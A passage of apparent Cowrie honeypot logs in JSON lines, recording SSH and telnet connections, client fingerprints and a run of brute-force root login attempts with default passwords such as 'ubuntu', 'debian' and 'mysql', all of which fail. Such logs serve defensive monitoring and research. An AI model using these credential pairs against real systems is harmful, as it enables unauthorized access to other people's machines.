-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:51.476173Z","src_ip":"209.99.189.174","session":"fb74e6ac43ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"zaq123","message":"login attempt [user/zaq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:52.020463Z","src_ip":"209.99.189.174","session":"fb74e6ac43ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.913879871368408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:52.576514Z","src_ip":"74.208.239.44","session":"260052faf5c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:53.154101Z","src_ip":"209.99.189.174","session":"fb74e6ac43ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.463526248931885,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:57.011469Z","src_ip":"64.227.101.30","session":"d2e07faf1215","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50194,"dst_ip":"10.17.0.5","dst_port":23,"session":"624eedce43ff","protocol":"telnet","message":"New connection: 64.227.101.30:50194 (10.17.0.5:23) [session: 624eedce43ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:04.302784Z"}
{"eventid":"cowrie.session.closed","duration":36.5833785533905,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:06.659021Z","src_ip":"161.97.105.174","session":"00bd126de2fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.880252838134766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:06.683356Z","src_ip":"161.97.105.174","session":"35371d951541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35586,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c011d58dbb9","protocol":"telnet","message":"New connection: 161.97.105.174:35586 (159.203.135.109:23) [session: 1c011d58dbb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:09.739058Z"}
{"eventid":"cowrie.session.closed","duration":120.00147914886475,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:10.660823Z","src_ip":"64.227.101.30","session":"1f2089e70b47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":38560,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d4191ce2a63","protocol":"ssh","message":"New connection: 103.75.84.237:38560 (159.203.135.109:22) [session: 9d4191ce2a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:13.160754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:13.172751Z","src_ip":"103.75.84.237","session":"9d4191ce2a63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:13.429865Z","src_ip":"103.75.84.237","session":"9d4191ce2a63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:14.193762Z","src_ip":"103.75.84.237","session":"9d4191ce2a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52680,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a2eee345e3b","protocol":"telnet","message":"New connection: 64.227.101.30:52680 (10.17.0.5:23) [session: 6a2eee345e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:14.635564Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:15.450888Z","src_ip":"103.75.84.237","session":"9d4191ce2a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":38562,"dst_ip":"159.203.135.109","dst_port":22,"session":"0783024ca136","protocol":"ssh","message":"New connection: 103.75.84.237:38562 (159.203.135.109:22) [session: 0783024ca136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:15.700864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:15.707635Z","src_ip":"103.75.84.237","session":"0783024ca136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:15.964741Z","src_ip":"103.75.84.237","session":"0783024ca136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.15411901473999,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:16.291270Z","src_ip":"64.227.101.30","session":"f0c5dd2d78eb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:16.735486Z","src_ip":"103.75.84.237","session":"0783024ca136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:17.995488Z","src_ip":"103.75.84.237","session":"0783024ca136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":38574,"dst_ip":"159.203.135.109","dst_port":22,"session":"1254a167e465","protocol":"ssh","message":"New connection: 103.75.84.237:38574 (159.203.135.109:22) [session: 1254a167e465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:18.257982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:18.263872Z","src_ip":"103.75.84.237","session":"1254a167e465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:18.524307Z","src_ip":"103.75.84.237","session":"1254a167e465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.23864555358887,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:18.893397Z","src_ip":"174.138.46.234","session":"670dabf3c094","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:19.304666Z","src_ip":"103.75.84.237","session":"1254a167e465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:20.568827Z","src_ip":"103.75.84.237","session":"1254a167e465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":38588,"dst_ip":"159.203.135.109","dst_port":22,"session":"e579aa53332e","protocol":"ssh","message":"New connection: 103.75.84.237:38588 (159.203.135.109:22) [session: e579aa53332e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:20.813220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:20.817974Z","src_ip":"103.75.84.237","session":"e579aa53332e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:21.074240Z","src_ip":"103.75.84.237","session":"e579aa53332e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:21.843823Z","src_ip":"103.75.84.237","session":"e579aa53332e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55370,"dst_ip":"10.17.0.5","dst_port":23,"session":"0915a7e7d5b1","protocol":"telnet","message":"New connection: 64.227.101.30:55370 (10.17.0.5:23) [session: 0915a7e7d5b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:23.073892Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:23.106438Z","src_ip":"103.75.84.237","session":"e579aa53332e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":40092,"dst_ip":"159.203.135.109","dst_port":22,"session":"246474383cb0","protocol":"ssh","message":"New connection: 103.75.84.237:40092 (159.203.135.109:22) [session: 246474383cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:23.358699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:23.364090Z","src_ip":"103.75.84.237","session":"246474383cb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.65889358520508,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:23.570279Z","src_ip":"161.97.105.174","session":"1b8a2e487e00","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:23.620515Z","src_ip":"103.75.84.237","session":"246474383cb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:24.383418Z","src_ip":"103.75.84.237","session":"246474383cb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.785035848617554,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:24.452536Z","src_ip":"64.227.101.30","session":"c84c7002ace9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55984,"dst_ip":"10.17.0.5","dst_port":23,"session":"81906b04625b","protocol":"telnet","message":"New connection: 64.227.101.30:55984 (10.17.0.5:23) [session: 81906b04625b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:25.096052Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33244,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9b29530414c","protocol":"telnet","message":"New connection: 161.97.105.174:33244 (159.203.135.109:23) [session: b9b29530414c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:25.141488Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:25.640321Z","src_ip":"103.75.84.237","session":"246474383cb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":40108,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c778e3fc12b","protocol":"ssh","message":"New connection: 103.75.84.237:40108 (159.203.135.109:22) [session: 7c778e3fc12b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:25.893146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:25.898337Z","src_ip":"103.75.84.237","session":"7c778e3fc12b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:26.155177Z","src_ip":"103.75.84.237","session":"7c778e3fc12b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:26.925649Z","src_ip":"103.75.84.237","session":"7c778e3fc12b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:28.185661Z","src_ip":"103.75.84.237","session":"7c778e3fc12b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":40116,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e68d47a3419","protocol":"ssh","message":"New connection: 103.75.84.237:40116 (159.203.135.109:22) [session: 6e68d47a3419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:28.432100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:28.440246Z","src_ip":"103.75.84.237","session":"6e68d47a3419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:28.693537Z","src_ip":"103.75.84.237","session":"6e68d47a3419","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:29.447513Z","src_ip":"103.75.84.237","session":"6e68d47a3419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:30.703794Z","src_ip":"103.75.84.237","session":"6e68d47a3419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":40130,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f39eff24425","protocol":"ssh","message":"New connection: 103.75.84.237:40130 (159.203.135.109:22) [session: 5f39eff24425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:30.956848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:30.964610Z","src_ip":"103.75.84.237","session":"5f39eff24425","protocol":"ssh"}
